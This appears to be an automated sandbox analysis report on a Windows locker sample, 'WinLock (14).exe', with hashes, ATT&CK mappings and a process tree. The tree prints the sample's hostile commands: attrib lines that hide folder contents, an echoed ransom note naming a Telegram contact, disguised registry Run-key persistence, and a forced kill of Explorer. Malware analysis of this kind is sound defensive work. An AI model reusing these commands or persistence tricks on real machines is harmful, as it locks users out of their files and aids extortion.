20d7b4e22aba5fac4ad1f686a8d58ccc8435473f2881de9b9f430b8fc3b1513c

Analysis

max time kernel
150s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 17:18

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General

Target
WinLock (14).exe
Size 211KB
Sample261024-vt8meafd49
SHA256 20d7b4e22aba5fac4ad1f686a8d58ccc8435473f2881de9b9f430b8fc3b1513c
MD5 07dcee87ad23bd3190e35a3fd9c80214
SHA1 27d05e887f889ea2adaec1a5654d37a91873d62c
SHA512 5876a609c14b79a541560b2bdbc0f17b5b08be086bbb1411cc5f01a915528be597efc5c6c3110b77bb31c8ae041d5b047f7773fd5239c23cbadf0ca3ce379b48
SSDEEP 6144:QZ8A/ehUOqxaPBinmQrKUePbDddASCpMW90KImQiXnhbkew:QyAwUOqxaP0nZsvj
TLSH
T1D3244A98139B897DD63D237EE0A1110507F4A227C103E35E9EE5E4F95F2B312AB12B97
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion discovery persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock (14).exe\""	WinLock (14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock (14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock (14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock (14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock (14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock (14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock (14).exe\" -startup"	WinLock (14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock (14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock (14).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock (14).exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4748	cmd.exe
4364	cmd.exe
1780	cmd.exe
5060	cmd.exe
4344	cmd.exe
4296	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WinLock (14).exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WinLock (14).exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2520	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4664	WinLock (14).exe
4664	WinLock (14).exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4664	WinLock (14).exe
Token: SeDebugPrivilege	2520	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 4296	4664	WinLock (14).exe	94
PID 4664 wrote to memory of 4344	4664	WinLock (14).exe	95
PID 4664 wrote to memory of 5060	4664	WinLock (14).exe	96
PID 4664 wrote to memory of 1780	4664	WinLock (14).exe	97
PID 4664 wrote to memory of 4364	4664	WinLock (14).exe	98
PID 4664 wrote to memory of 4748	4664	WinLock (14).exe	99
PID 4664 wrote to memory of 2520	4664	WinLock (14).exe	100
PID 4344 wrote to memory of 4620	4344	cmd.exe	116
PID 5060 wrote to memory of 6056	5060	cmd.exe	117
PID 4364 wrote to memory of 1788	4364	cmd.exe	119
PID 4748 wrote to memory of 1424	4748	cmd.exe	120
PID 4296 wrote to memory of 5132	4296	cmd.exe	121
PID 1780 wrote to memory of 1404	1780	cmd.exe	118
PID 5060 wrote to memory of 3196	5060	cmd.exe	122
PID 4344 wrote to memory of 2532	4344	cmd.exe	123
PID 4748 wrote to memory of 4524	4748	cmd.exe	124
PID 4296 wrote to memory of 4252	4296	cmd.exe	126
PID 1780 wrote to memory of 1652	1780	cmd.exe	125
PID 4364 wrote to memory of 1484	4364	cmd.exe	127

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1404	attrib.exe
4620	attrib.exe
2532	attrib.exe
1484	attrib.exe
5132	attrib.exe
1788	attrib.exe
6056	attrib.exe
4524	attrib.exe
4252	attrib.exe
1652	attrib.exe
3196	attrib.exe
1424	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock (14).exe
"C:\Users\Admin\AppData\Local\Temp\WinLock (14).exe"
1⤵
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:5132
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4620
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2532
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:6056
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3196
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1780
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1404
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1788
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1484
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1424
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4524
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2520

C:\Users\Admin\AppData\Local\Temp\WinLock (14).exe
"C:\Users\Admin\AppData\Local\Temp\WinLock (14).exe" -startup
1⤵
PID:4672

C:\Users\Admin\AppData\Local\Temp\WinLock (14).exe
"C:\Users\Admin\AppData\Local\Temp\WinLock (14).exe"
1⤵
PID:2644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

info-Locker.txt

Path F:\info-Locker.txt
Size 83B
SHA256 c71eb594c94cab1a2e756a9cdc72b931c71cc3174dad0cd4e132eb02333022e6
MD5 8a3211c769a9ed4af9a6d39adce83168
SHA1 2262803cdde5dcb0409ff6e0fde8e269c74cc8d2
SHA512 0dbb2379378b141c2f89bcea8fc47c579846c7a2e285dabf68259e34715e58e26efe888d93279f8544522158c215ee443640d66a21288c0dbeee2c3e0a2949eb
TLSH
T164A012083D1C3A44210010F33A31B001146DA90C10071C4131040C56306108054DF930
MD5 SHA1 SHA512 TLSH

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memory/4664-6-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4664-1-0x0000000000360000-0x000000000039C000-memory.dmp

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memory/4664-3-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4664-4-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4664-5-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4664-0-0x00007FFB11E6F000-0x00007FFB11E70000-memory.dmp

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memory/4664-28-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4664-27-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4664-26-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4664-2-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4672-13-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4672-10-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4672-8-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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memory/4672-7-0x00007FFB11CE0000-0x00007FFB12684000-memory.dmp

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